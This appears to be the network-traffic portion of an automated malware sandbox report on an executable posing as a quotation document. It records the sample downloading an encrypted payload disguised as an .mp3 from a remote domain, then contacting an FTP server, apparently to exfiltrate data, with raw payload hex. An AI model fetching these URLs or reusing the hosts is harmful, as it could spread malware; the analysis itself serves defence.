Oct 2, 2024 15:45:24.017087936 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.017129898 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.017157078 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.017178059 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.017321110 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.017400026 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.018140078 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.018208027 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.018282890 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.018348932 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.018439054 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.018501043 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.018573999 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.018639088 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.018712997 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.018769979 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.018848896 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.018928051 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.019001007 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.019062996 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.019141912 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.019207954 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.019279003 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.019340038 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.019364119 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.019471884 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.019512892 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.019577980 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.019620895 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.019687891 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.020973921 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.021068096 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.041754961 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.041914940 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.104146957 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.104280949 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.104403019 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.104485035 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.104548931 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.104610920 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.104670048 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.104739904 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.104799032 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.104868889 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.104975939 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.105047941 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.105190992 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.105277061 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.105449915 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.105526924 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.105660915 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.105727911 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.105796099 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.105868101 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.106313944 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.106385946 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.106501102 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.106566906 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.107122898 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.107198000 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.107414007 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.107481956 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.107614040 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.107685089 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.110776901 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.111071110 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.128829002 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.128953934 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.190953016 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.191009998 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.191047907 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.191061974 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.191095114 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.191116095 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.191569090 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.191629887 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.191716909 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.191768885 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.192148924 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.192218065 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.192387104 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.192451954 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.192564964 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.192620993 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.192827940 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.192879915 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.193018913 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.193070889 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.193283081 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.193325043 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.193353891 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.193361998 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.193382025 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.193809032 CEST	443	53097	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:24.193857908 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:24.216582060 CEST	53097	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:26.039612055 CEST	53098	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:26.463480949 CEST	21	53098	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:26.463557959 CEST	53098	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:27.104316950 CEST	21	53098	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:27.104588032 CEST	53098	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:27.109420061 CEST	21	53098	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:27.336613894 CEST	21	53098	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:27.336759090 CEST	53098	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:27.341625929 CEST	21	53098	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:27.580851078 CEST	21	53098	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:27.580990076 CEST	53098	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:27.585884094 CEST	21	53098	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:27.651310921 CEST	53091	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:27.807790041 CEST	21	53098	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:27.808034897 CEST	53098	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:27.813108921 CEST	21	53098	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:28.035700083 CEST	21	53098	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:28.035887957 CEST	53098	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:28.041714907 CEST	21	53098	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:28.262090921 CEST	21	53098	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:28.262391090 CEST	53098	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:28.267477989 CEST	21	53098	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:28.488565922 CEST	21	53098	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:28.489343882 CEST	53099	54538	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:28.494124889 CEST	54538	53099	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:28.494467974 CEST	53099	54538	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:28.494559050 CEST	53098	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:28.499423981 CEST	21	53098	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:29.107985020 CEST	21	53098	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:29.108218908 CEST	53099	54538	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:29.108284950 CEST	53099	54538	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:29.113081932 CEST	54538	53099	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:29.113573074 CEST	54538	53099	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:29.113835096 CEST	53099	54538	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:29.160950899 CEST	53098	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:29.337250948 CEST	21	53098	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:29.379687071 CEST	53098	21	192.168.2.10	5.2.84.236

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 15:45:01.134365082 CEST	65177	53	192.168.2.10	1.1.1.1
Oct 2, 2024 15:45:01.141376972 CEST	53	65177	1.1.1.1	192.168.2.10
Oct 2, 2024 15:45:05.603177071 CEST	59982	53	192.168.2.10	1.1.1.1
Oct 2, 2024 15:45:05.695405006 CEST	53	59982	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 2, 2024 15:45:01.134365082 CEST	192.168.2.10	1.1.1.1	0x294	Standard query (0)	wymascensores.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 15:45:05.603177071 CEST	192.168.2.10	1.1.1.1	0x35dc	Standard query (0)	ftp.alternatifplastik.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 2, 2024 15:45:05.695405006 CEST	1.1.1.1	192.168.2.10	0x35dc	No error (0)	ftp.alternatifplastik.com		5.2.84.236	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

wymascensores.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	53087	67.212.175.162	443	7256	C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 13:45:02 UTC	85	OUT	GET /hzamni/Cfuydzh.mp3 HTTP/1.1 Host: wymascensores.com Connection: Keep-Alive
2024-10-02 13:45:02 UTC	209	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 13:45:01 GMT Server: Apache Last-Modified: Wed, 02 Oct 2024 05:50:50 GMT Accept-Ranges: bytes Content-Length: 958984 Connection: close Content-Type: audio/mpeg
2024-10-02 13:45:02 UTC	7983	IN	Data Raw: c3 f3 f4 bf d0 72 6b 8c bd 6c f7 be 07 93 f1 c9 c3 b3 32 0c 62 2f 13 12 a4 9d 8a 47 0c c9 3d 86 9b af 15 29 2e 66 6c 1b 02 68 4f de 08 33 87 24 01 ec 78 11 06 c6 48 01 5d 31 97 c1 45 0d 8b eb ef 78 58 8d a5 f5 5c 32 0e a6 3b ae b3 c9 dc 70 0d b8 e9 b0 fb 24 91 9d 2f 99 b4 e5 1d 51 16 ad 45 dd a7 ad 34 bb aa c4 b5 ed 89 4f 39 1e 06 5f 8d 85 ab d4 99 8a 03 d3 c5 3b 29 fc 3d 08 84 35 83 df f1 1b f5 91 3f 2b 49 e4 10 93 4e 7c 6e 35 9c 7f c7 9c 1a ba b1 a4 91 8d ad a1 d3 5f 8d 07 c4 1f 18 75 52 35 c6 38 7d df 45 41 db 22 2a 5e 34 06 50 20 44 32 87 0d 68 b8 15 2e 3e f3 9e 5e c8 b1 e3 d0 0c c1 36 78 47 ec 68 20 3f 32 1e 98 25 ec 8f d7 10 34 44 02 78 95 e1 8a fd 97 2c ab 52 d7 f4 86 a9 15 04 a3 28 4e 2c df cf 13 f7 58 7c df 7a e2 e3 2a 3f 06 4d a4 51 9e b8 eb 58 Data Ascii: rkl2b/G=).flhO3$xH]1ExX\2;p$/QE4O9_;)=5?+IN\|n5_uR58}EA"^4P D2h.>^6xGh ?2%4Dx,R(N,X\|z?MQX
2024-10-02 13:45:02 UTC	8000	IN	Data Raw: d4 cb e5 a1 1f 14 2e 83 e4 e6 cf a2 c3 95 89 65 a4 e4 54 c2 ed 2b 64 35 c4 bc 23 28 a4 23 e5 e8 32 40 ad dd 94 19 73 5f 69 cd 61 a2 87 d9 96 f2 7f 61 5e a8 a0 a5 45 18 ec 1e e0 cb 8f 1e 1e 91 41 3c 20 42 1c f8 8c c4 b2 70 87 15 b4 36 f5 e3 85 f2 1b ab 73 c7 c5 9c bb b5 09 58 7b b5 f7 35 c1 9d 31 f8 37 3d ca 20 03 22 98 41 f2 5e 8b 86 76 41 f6 af bc e3 d3 59 8a 64 b5 bc 39 a0 6d 61 a6 b7 14 7b 9a 2e 13 39 71 79 d5 a5 82 50 91 18 43 1d 19 ce 5a f4 9d ce bb 46 72 67 26 15 cb c5 05 08 a6 6d 7c 14 50 c1 c5 4e ac 2a 62 20 76 8a 57 87 32 d8 0b 41 d3 7e 21 1a 75 49 d4 45 4f ca cf 1b 2b 20 a5 8c ee c8 91 bd 1a f5 88 75 a9 0e d5 fb 97 ef b2 23 4a c4 03 e9 db a4 a1 66 cc f7 3c ac 07 0a ee a5 66 57 47 2a 2a c0 dc cd 0c f3 cc b0 29 58 5d 8d 9d 86 7a f8 60 dd 3d 1c f6 Data Ascii: .eT+d5#(#2@s_iaa^EA< Bp6sX{517= "A^vAYd9ma{.9qyPCZFrg&m\|PNb vW2A~!uIEO+ u#Jf<fWG*)X]z`=
2024-10-02 13:45:02 UTC	8000	IN	Data Raw: 6a 71 83 ce 01 15 1f 0c 46 1c fe c7 5b 31 c2 9d ca 95 c4 d1 0c d2 03 6f 6c e4 f0 77 86 a0 a4 22 90 42 ac 28 b6 04 30 63 06 43 d6 a9 c0 e5 01 47 92 44 81 12 5e 3b e2 49 f8 01 17 33 77 72 bb 39 6e a1 69 39 06 0c cd 94 d5 d2 d7 a0 79 4e 88 e7 ed 77 68 fd 06 92 7b 05 8f db e7 39 2f 8f 79 cf 51 70 05 b6 0e c9 b5 7c 68 12 a4 93 9b ac d9 dd 43 f4 d2 ef 2b eb 3d 9a 2b 74 a9 96 69 e2 31 1d 77 ef 1f fd 67 36 27 06 80 82 ba 96 d6 45 d2 0a 60 5b ef fd cc ed 77 a6 ca 30 57 94 7c 82 8e 04 0e bf 45 ea 4c 3c be cf 4b 40 04 7a ea be 2e 1e 13 24 22 28 35 55 ff 9c 5c 1b ec 87 3e 66 2b d1 2b 44 9e 91 9a f7 ee eb f1 90 ef c2 84 b3 b4 9f a9 82 18 bf 2a 43 98 d4 f1 d7 84 8e bc c3 32 ea 15 32 37 8d 32 b0 d6 ae f2 a7 28 0b 20 35 11 9a d9 cc fd b5 61 65 78 0a 5a b4 2a 4f 1e ec 33 Data Ascii: jqF[1olw"B(0cCGD^;I3wr9ni9yNwh{9/yQp\|hC+=+ti1wg6'E`[w0W\|EL<K@z.$"(5U\>f++DC2272( 5aexZO3
2024-10-02 13:45:02 UTC	8000	IN	Data Raw: a7 42 45 a8 60 d6 9a cf 1d 67 67 22 da 7a 31 ee c5 40 41 84 8c 4e 26 eb 32 6f 90 57 ed c0 9e dc 87 f5 4d 32 32 ff 2c 9c 28 3a 06 23 57 1f 6b ee 72 51 2a 56 70 6d 49 4b 50 db 65 9f 62 02 98 16 7c 31 68 60 e5 a5 c4 4b 76 bb 31 ff 50 e3 db 61 9b 35 99 e7 1d ad 7d ec 2a 73 7f 88 a3 2a d8 8b 86 3a 70 a3 18 db da db d5 9b 45 f0 50 b1 16 da 83 70 04 16 4d 8d 15 1d f7 07 87 b0 9a 9c 7a 3e e9 b7 fd 1c 87 a6 db a8 33 08 e4 8d b2 bf b9 dd 98 52 f8 c0 c8 64 58 d0 18 d3 03 a4 cd e7 51 34 fc 86 89 27 14 03 3c 55 fe 65 1d e3 92 3d 27 5d bf 0a 1b a5 20 58 47 57 92 8c 44 0f 47 f9 f5 98 93 e1 d6 f5 1e 45 56 bd 33 56 1e 52 5c d1 78 10 c0 2a c6 b0 82 41 f1 a4 37 7f 04 6b 4c 44 30 d5 70 04 f8 46 ac 4d df 8c 10 d3 9f 66 57 a1 46 e0 14 94 58 fe 6b b7 ad 65 08 21 3e 67 44 ba f2 Data Ascii: BE`gg"z1@AN&2oWM22,(:#WkrQVpmIKPeb\|1h`Kv1Pa5}s:pEPpMz>3RdXQ4'<Ue='] XGWDGEV3VR\xA7kLD0pFMfWFXke!>gD
2024-10-02 13:45:02 UTC	8000	IN	Data Raw: 41 4f 28 0d dd 27 1a 33 15 36 0b 67 fe 3d d7 a5 31 22 cf 22 47 2b 3d 01 14 80 32 c4 49 27 b1 e9 6f f7 19 88 f2 48 3b be 1b 61 a8 30 aa a5 e6 74 be 21 24 72 e5 1c 19 08 92 b0 32 e9 63 92 02 c7 e2 98 a1 db b4 5d b4 d7 af b3 af 1f a9 5d 78 d9 9c 3d f8 b5 8c 05 1f db 45 b0 4a 6b a6 45 02 40 4d b3 8e c1 5e da 41 21 cc dc dd c2 0c 8b fe d3 90 d3 a5 8a 4d 5e 70 94 7e 1f cd f2 b6 74 fb c8 89 dd 39 8d 89 82 3d 5a 11 af aa 00 63 04 58 18 bb c3 aa 5f 7b 7e cf b2 5b 88 5b c8 6d 88 a7 bf 31 cf 42 e3 d7 a5 4b a4 47 10 e6 be 60 97 5c f8 44 80 5e c3 47 85 f8 a2 75 22 67 59 db f1 d9 3d 9b 2a 82 5f e5 f0 69 14 4e 13 7f af 9b 73 cc d6 68 3a 21 35 88 3a 21 23 dd 20 48 46 72 a3 c2 47 54 fd d7 54 e1 7d d1 38 7f 37 29 4c 04 41 1c b2 87 11 6e 9e 68 ff 71 fb 1a cb 05 20 fb 6e ef Data Ascii: AO('36g=1""G+=2I'oH;a0t!$r2c]]x=EJkE@M^A!M^p~t9=ZcX_{~[[m1BKG`\D^Gu"gY=*_iNsh:!5:!# HFrGTT}87)LAnhq n
2024-10-02 13:45:02 UTC	8000	IN	Data Raw: 0f 68 a6 4c 4d 77 8d 3d 0f 38 f8 e1 58 76 64 8e d9 be 1d 6c bf 4f ad c9 0c 8c 05 e6 38 74 ee 53 28 8b 3a f5 11 f8 f7 98 80 51 67 1d ad c7 5f 17 a1 46 00 32 7f fc dd f0 05 09 5a 1f b4 32 21 e2 33 7c 6d 7f 52 08 b6 98 fd 7f 4c 01 b5 33 07 e0 11 39 8c da 69 f5 a9 36 d1 57 be 84 67 37 f4 4b 49 2f ee 83 7a 07 f9 d7 a6 b2 f7 2c 6d 46 f0 64 15 2f 0d 4e 4f 1f 4c 53 a9 37 08 75 25 08 44 02 de f7 21 04 27 7c 10 2b 25 a6 1b d7 8b 2c ac 8b 2a 8c c4 83 6e a2 91 09 b3 6c 75 32 a4 13 ee d6 c5 89 19 6e e8 99 c7 05 32 27 e2 b4 13 56 6a 18 e5 27 0c 04 dd 3a cd 27 6f ba 2b 8c 5e 9c c9 48 82 47 86 7e 52 b3 9c f0 77 c7 46 f4 3a e0 18 80 3b ed 65 8c 19 fe af 55 72 72 72 99 85 51 06 b6 66 73 cd b9 9b f1 47 ef ef cb 7e 9c 24 22 84 66 03 02 b2 4f 11 64 f2 6d f9 05 ce b5 4b ba 97 Data Ascii: hLMw=8XvdlO8tS(:Qg_F2Z2!3\|mRL39i6Wg7KI/z,mFd/NOLS7u%D!'\|+%,*nlu2n2'Vj':'o+^HG~RwF:;eUrrrQfsG~$"fOdmK
2024-10-02 13:45:02 UTC	8000	IN	Data Raw: f2 1e de 01 f5 bc bb 78 da 04 11 5c 75 e2 4a b8 3e 08 99 f0 59 77 1e f9 d5 1c 2b 5c c8 ae ac 8f d8 91 d9 9c 93 f5 56 25 ce 74 55 4d e8 a1 60 f8 a4 11 ee 80 a0 56 a5 50 5f c9 f9 75 72 83 de 21 e6 5f 7e 98 e2 02 7f d1 85 5a cb 3a 28 c7 87 11 80 d8 cb b6 b5 b4 1e 3f 38 f1 4f 8c 33 a9 2f 4f 48 8d 89 f7 80 cc aa f3 e3 74 d9 b6 38 54 35 af 04 8d c0 1b bf 14 34 be 24 2a 1f 71 95 32 31 4d 90 42 57 32 59 98 98 4b 71 e7 69 63 18 de ea 9d d0 3a bb 47 41 48 2a 48 11 79 36 dc 21 87 59 a1 bc b4 1e 67 f6 05 73 5a be 04 8b 5b 1f f2 7c e1 5f 8d 06 ac 42 e9 75 40 7d 39 28 a3 fe b2 e2 1d ae b6 90 4e 75 90 8e cf 71 dc e8 a5 9f fb 3c 05 49 4f 49 da ef 69 7a 5a e0 7c c8 69 9f 1a 51 74 e6 28 c9 b6 4d 56 cb 2e c9 95 e6 76 ce fc 29 c1 ba 02 33 d9 ee 6f 2d dc 4c 85 7e 10 db 38 84 Data Ascii: x\uJ>Yw+\V%tUM`VP_ur!_~Z:(?8O3/OHt8T54$q21MBW2YKqic:GAHHy6!YgsZ[\|_Bu@}9(Nuq<IOIizZ\|iQt(MV.v)3o-L~8
2024-10-02 13:45:02 UTC	8000	IN	Data Raw: df 24 a1 7d dc c5 ac 05 c5 1f f2 0b 3d ac 71 bd 73 e1 f1 aa 31 32 a2 e3 78 16 a1 ec d9 b7 99 b4 43 e8 fe ec 3e b5 9f ba 35 80 90 57 36 0a 69 91 b0 e1 3d f6 8a 25 c3 bc ad b9 17 97 af f0 70 f0 51 5c 31 11 ee 07 1f 92 6e 26 a4 4b bb 65 27 92 0a 56 b8 99 47 a4 fb 0b 0d f3 f4 ab 9d ba 44 23 c6 ba 82 b7 50 29 e4 b1 e5 a2 e2 c4 85 c9 4b 9e 24 16 1d a9 47 0b 1f 2b fb ae fc 0f 83 74 55 30 7c 25 7e 5a b3 d8 82 11 60 2b 5d cb 5c 7e b6 be 32 95 78 3f 7e d3 ef 01 b3 9d ca af fc 05 d1 e5 87 92 dc 3c 29 d0 ff 53 47 93 74 8a 8a 24 a7 36 a6 f5 92 16 3d b8 21 39 f6 ec 5a 22 28 1e cb f4 da e7 14 b4 6a b9 e2 b5 24 4b 57 73 b2 68 4d c7 e3 41 8f 80 68 04 64 15 8a 34 c8 4b a1 b0 66 65 25 ed 13 9e 94 69 2c 76 5c 64 1a 64 a9 a1 d3 c4 2a 1c e3 03 30 a1 21 e3 f3 30 3b b3 95 57 55 Data Ascii: $}=qs12xC>5W6i=%pQ\1n&Ke'VGD#P)K$G+tU0\|%~Z`+]\~2x?~<)SGt$6=!9Z"(j$KWshMAhd4Kfe%i,v\dd*0!0;WU
2024-10-02 13:45:02 UTC	8000	IN	Data Raw: 2e 20 1e f3 b7 0c 80 59 a7 66 bc 3a b9 63 4a d5 9e 84 44 ec f2 4f 29 3a 0e 7d 27 31 d6 51 d9 fc 2d 85 f0 5a d7 32 b6 1c 24 33 54 61 ae b7 4f 90 a2 6c c6 c3 55 15 f2 1c b4 2f 83 a2 41 63 7b 75 b4 07 97 71 a8 da a5 b2 db 3b d8 72 ff 6c ad 2e e2 16 b1 25 a7 f9 41 e3 fc 4a e9 0b c0 3a 24 20 30 a5 2e bc 8a 81 32 85 c0 c2 96 39 4b 40 b9 d0 c0 47 a5 82 b2 e5 74 aa 68 b5 1d 1f 8c 27 91 d5 fe e2 2f 0d 6f a2 d8 4b 9d 04 81 9b 72 49 10 42 23 48 95 b7 be ad 22 6b c2 21 2d 17 28 8a 31 ca c2 19 32 7c bb 58 89 24 9f d2 f8 cf 29 65 12 6b 12 5c fb dc fb d8 6a 3d a3 20 a3 65 77 20 8f 2e 23 bb ea 41 ad 9d 30 79 2a 30 74 de 9b 57 4d e0 eb aa c4 d6 c1 87 76 16 7d c3 f5 cd e7 34 d1 31 17 c4 31 f0 58 6e fc a2 9e b0 ce 3c f9 f1 79 f4 dd 9a e7 4f ec 39 74 59 ba 29 43 f3 7d 38 e7 Data Ascii: . Yf:cJDO):}'1Q-Z2$3TaOlU/Ac{uq;rl.%AJ:$ 0.29K@Gth'/oKrIB#H"k!-(12\|X$)ek\j= ew .#A0y*0tWMv}411Xn<yO9tY)C}8
2024-10-02 13:45:02 UTC	8000	IN	Data Raw: 3e fc 12 86 19 37 75 97 46 5b 31 54 40 ea 61 21 28 09 79 28 97 ba a9 23 6b 7a 5a 4f ed 4d 06 2e 73 79 9f 8e 95 0e 0c 42 2a 8e 7a 62 9c 8d 4d b6 34 70 49 3e b7 fc 26 b8 73 ac 0a 8c bb 62 bb 79 f5 71 91 21 c2 a1 5f 8f 15 88 a4 ed 05 79 e8 43 10 18 74 c2 91 1c 6a 12 61 6d 68 c0 aa e6 33 e8 b7 03 37 9e 77 f7 82 59 44 a7 14 50 f9 45 33 0c 22 72 b0 90 3e 93 74 6f f6 cd 16 73 b8 42 cf d1 53 ce 1a b3 74 c4 90 ca e6 fa 82 41 1e d7 f8 a1 8e 8a 98 b8 e1 5c d4 2b e7 47 fe b5 b4 39 98 58 7c f1 f2 e7 8b 6a 61 26 27 35 5d 9a 8c fa 27 e3 e8 15 ba ed c4 42 da d9 78 13 54 aa 63 41 fa 81 29 99 63 92 09 3a 9a 1c c4 e5 62 ba ba 93 a8 77 ff e1 e3 e5 d7 d2 ce 14 4f 01 f7 e0 1d 4e e2 da 89 3e b8 d3 5d 8f ab 0d 0b d1 cc d6 72 4f 63 a1 21 65 1e 40 bb 41 ed 89 63 32 f0 1c 3c 58 d7 Data Ascii: >7uF[1T@a!(y(#kzZOM.syB*zbM4pI>&sbyq!_yCtjamh37wYDPE3"r>tosBStA\+G9X\|ja&'5]'BxTcA)c:bwON>]rOc!e@Ac2<X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	53090	67.212.175.162	443	7972	C:\Users\user\AppData\Roaming\Egmgti.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 13:45:15 UTC	85	OUT	GET /hzamni/Cfuydzh.mp3 HTTP/1.1 Host: wymascensores.com Connection: Keep-Alive
2024-10-02 13:45:15 UTC	209	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 13:45:14 GMT Server: Apache Last-Modified: Wed, 02 Oct 2024 05:50:50 GMT Accept-Ranges: bytes Content-Length: 958984 Connection: close Content-Type: audio/mpeg
